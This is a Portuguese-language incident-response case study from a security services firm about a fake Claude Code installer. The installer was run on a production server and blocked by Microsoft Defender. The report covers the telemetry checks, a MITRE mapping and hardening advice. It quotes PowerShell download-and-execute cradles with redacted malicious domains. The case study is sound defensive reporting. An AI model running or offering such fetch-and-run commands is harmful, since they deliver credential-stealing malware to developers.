Microsoft Solutions Partner · Modern Work · Security
Empresa brasileira de serviços técnicos
Um desenvolvedor executou, num servidor de produção da empresa, o comando de instalação de uma ferramenta de IA copiado de um site falso. O comando era quase idêntico ao oficial, só o domínio mudava. A ferramenta legítima foi instalada como disfarce enquanto um segundo estágio tentava rodar em paralelo. O Microsoft Defender for Endpoint bloqueou esse estágio cerca de 20 segundos depois, antes de qualquer conexão de rede. A investigação confirmou: contido, sem comprometimento.
Site que imita a página de instalação da ferramenta, posicionado por SEO e anúncios pagos acima da documentação oficial. O comando exibido é igual ao verdadeiro, com outro domínio.
O script instala a versão legítima da ferramenta, assinada pelo fabricante. Para o usuário, a instalação parece ter funcionado normalmente.
Em paralelo, um processo filho do PowerShell tenta baixar e executar em memória o estágio seguinte, tipicamente um infostealer voltado a chaves de API, tokens e credenciais.
O EDR interceptou o estágio malicioso no ato. A telemetria do próprio servidor confirmou que o conteúdo malicioso nunca foi baixado, que nenhum processo suspeito foi iniciado e que não houve persistência nem roubo de credenciais. O risco real estava no contexto: uma conta que administra produção instalando software direto no servidor.
O alerta de severidade alta surgiu no Microsoft Defender for Endpoint de uma máquina virtual no Azure que acumulava duas funções: banco de dados SQL Server de produção e ambiente de ETL e automação do pipeline de dados, com Apache Airflow e Docker. A conta envolvida era uma identidade local com perfil de desenvolvedor.
A pergunta para a Frayha era direta: o bloqueio foi suficiente ou algo chegou a rodar? A resposta precisava vir da telemetria do servidor, não de suposições sobre o comportamento da família de malware.
irm https://[domínio-falso]/install.ps1 | iex
irm https://claude.ai/install.ps1 | iex
O servidor foi isolado da rede pelo próprio Defender, preservando a telemetria para a investigação. A análise foi feita com Advanced Hunting sobre os eventos do host real. A detonação do instalador em sandbox serviu apenas como referência do comportamento da família, nunca como prova do que aconteceu no servidor.
| Fonte / ferramenta | O que foi consultado | Uso na análise |
|---|---|---|
| Defender for Endpoint | Alerta, detecção e ação de remediação | Confirmar o bloqueio e o momento exato |
| DeviceNetworkEvents | Conexões de saída do servidor | Provar se o segundo estágio foi baixado |
| DeviceProcessEvents | Árvore de processos do PowerShell e processos de segundo estágio | Identificar qualquer execução além da ferramenta legítima |
| DeviceEvents / DeviceRegistryEvents | Tarefas agendadas e chaves Run/RunOnce | Descartar persistência |
| Sandbox (ANY.RUN) | Detonação do script de instalação | Referência de comportamento da família |
Na detonação em sandbox, o script instalou a ferramenta legítima sem baixar nenhum executável malicioso. Essa campanha usa evasão de sandbox, então o conteúdo entregue ao alvo real pode ser diferente. Por isso o veredito foi baseado apenas na telemetria do servidor.
T0 = abertura do console PowerShell pela conta envolvida. D+1 = dia seguinte.
Console PowerShell aberto pela conta local de desenvolvedor, em sessão interativa.
Execução do comando copiado do domínio falso. A ferramenta legítima, assinada pelo fabricante, é instalada e o script tenta, em paralelo, buscar o segundo estágio.
Bloqueio do download cradle, detectado como Trojan:Win32/ClickFix.Q!ml. Remediação concluída com sucesso.
Servidor isolado preventivamente pelo Defender, com a telemetria preservada.
Investigação via Advanced Hunting com quatro verificações no host. Veredito: contido, sem comprometimento.
Cada hipótese de comprometimento virou uma consulta sobre a telemetria do próprio servidor, na janela do bloqueio e depois dela.
| Verificação | Resultado | Leitura |
|---|---|---|
| Conexão ao domínio do segundo estágio | 0 registros | O cradle foi bloqueado antes de qualquer saída de rede. O conteúdo malicioso nunca foi baixado. |
| Processos de segundo estágio (mshta, rundll32 e similares) | Apenas do sistema | Nenhum processo iniciado pelo PowerShell. Os itens encontrados são manutenção nativa do Windows e do Docker Desktop. |
| Tarefas agendadas | Apenas nativas | Somente tarefas do próprio Windows. Nenhuma fora do caminho do sistema. |
| Chaves Run e RunOnce | 0 registros | Sem persistência via registro. |
| Árvore de processos do PowerShell na janela do bloqueio | Só a ferramenta legítima | Único processo gerado: o instalador assinado e suas rotinas (reg, git, npm). Nada malicioso. |
O Defender interceptou o estágio malicioso antes de qualquer atividade de rede. O infostealer não executou, não houve persistência e não houve roubo de credenciais. Reconstrução do servidor e rotação emergencial de credenciais não foram necessárias.
O incidente é consistente com a campanha de instaladores falsos do Claude Code que usa a técnica conhecida como ClickFix ou InstallFix. A campanha se posiciona acima da documentação oficial com SEO poisoning e anúncios pagos. A característica central é não interromper a instalação esperada: a ferramenta legítima é instalada como disfarce enquanto o estágio malicioso tenta rodar em paralelo, mirando chaves de API, tokens e credenciais de ambientes de desenvolvimento.
powershell.exe ... iwr -useb [domínio-malicioso] | ie
É um download cradle: baixa conteúdo de um domínio malicioso e o executa direto na memória, sem gravar arquivo em disco. A detecção é baseada em machine learning sobre o padrão do comando. A duplicação do processo powershell.exe indica o instalador gerando um processo filho para buscar o estágio seguinte.
O servidor acumulava a função de banco de produção e a de ambiente de desenvolvimento e ETL. Isso amplia o raio de impacto de qualquer instalação feita ali: se o segundo estágio tivesse rodado, credenciais de produção e do pipeline de dados estariam ao alcance do mesmo processo.
O instalador oficial não exige privilégio administrativo. Um comando de instalação de ferramenta de desenvolvimento rodando como administrador num servidor de produção já é, por si só, um sinal de alerta.
| Tática | Técnica | Como apareceu no caso |
|---|---|---|
| Desenvolvimento de recursos | T1583.001Adquirir infraestrutura: domínios | Domínio que imita a página de instalação da ferramenta |
| Desenvolvimento de recursos | T1608.006SEO poisoning | Campanha posicionada acima da documentação oficial |
| Execução | T1204.004Execução pelo usuário: copiar e colar | Comando colado e executado no PowerShell pelo próprio usuário |
| Execução | T1059.001PowerShell | Script de instalação e processo filho com o cradle |
| Evasão de defesa | T1036Mascaramento | Instalação da ferramenta legítima como disfarce |
| Comando e controle | T1105Transferência de ferramentas (tentativa) | Download do segundo estágio, bloqueado antes de ocorrer |
Execução, num servidor de produção e com conta administrativa, de um comando de instalação copiado de um domínio falso.
| Fator contribuinte | Efeito no incidente |
|---|---|
| Conta que administra produção navegando e instalando software | Levou o golpe para dentro do servidor mais sensível do ambiente. |
| Servidor com dupla função | Banco de produção e ambiente de desenvolvimento na mesma máquina ampliam o raio de impacto. |
| Fonte de instalação não validada | Um comando quase idêntico ao oficial foi executado sem conferência do domínio. |
| Camadas preventivas ainda não aplicadas em toda a base | Regras ASR contra cradles, Script Block Logging e LAPS reduziriam a chance e ampliariam a visibilidade. |
| Parte | Impacto |
|---|---|
| Dados e credenciais | Nenhum. O segundo estágio não foi baixado nem executado. |
| Servidor | Isolamento preventivo da rede durante a investigação. Reconstrução não necessária. |
| Operação | Serviços do servidor indisponíveis enquanto ele esteve isolado. |
O instalador falso funciona de verdade, justamente para não levantar suspeita. O que protege é a combinação de EDR ativo em todos os servidores, separação entre contas de administração e de uso diário e uma fonte única e conhecida para instalar ferramentas.
Avaliamos EDR, regras de redução de superfície de ataque, segregação de privilégios e monitoramento do seu ambiente. Em caso de incidente em andamento, fale direto com a equipe de resposta.
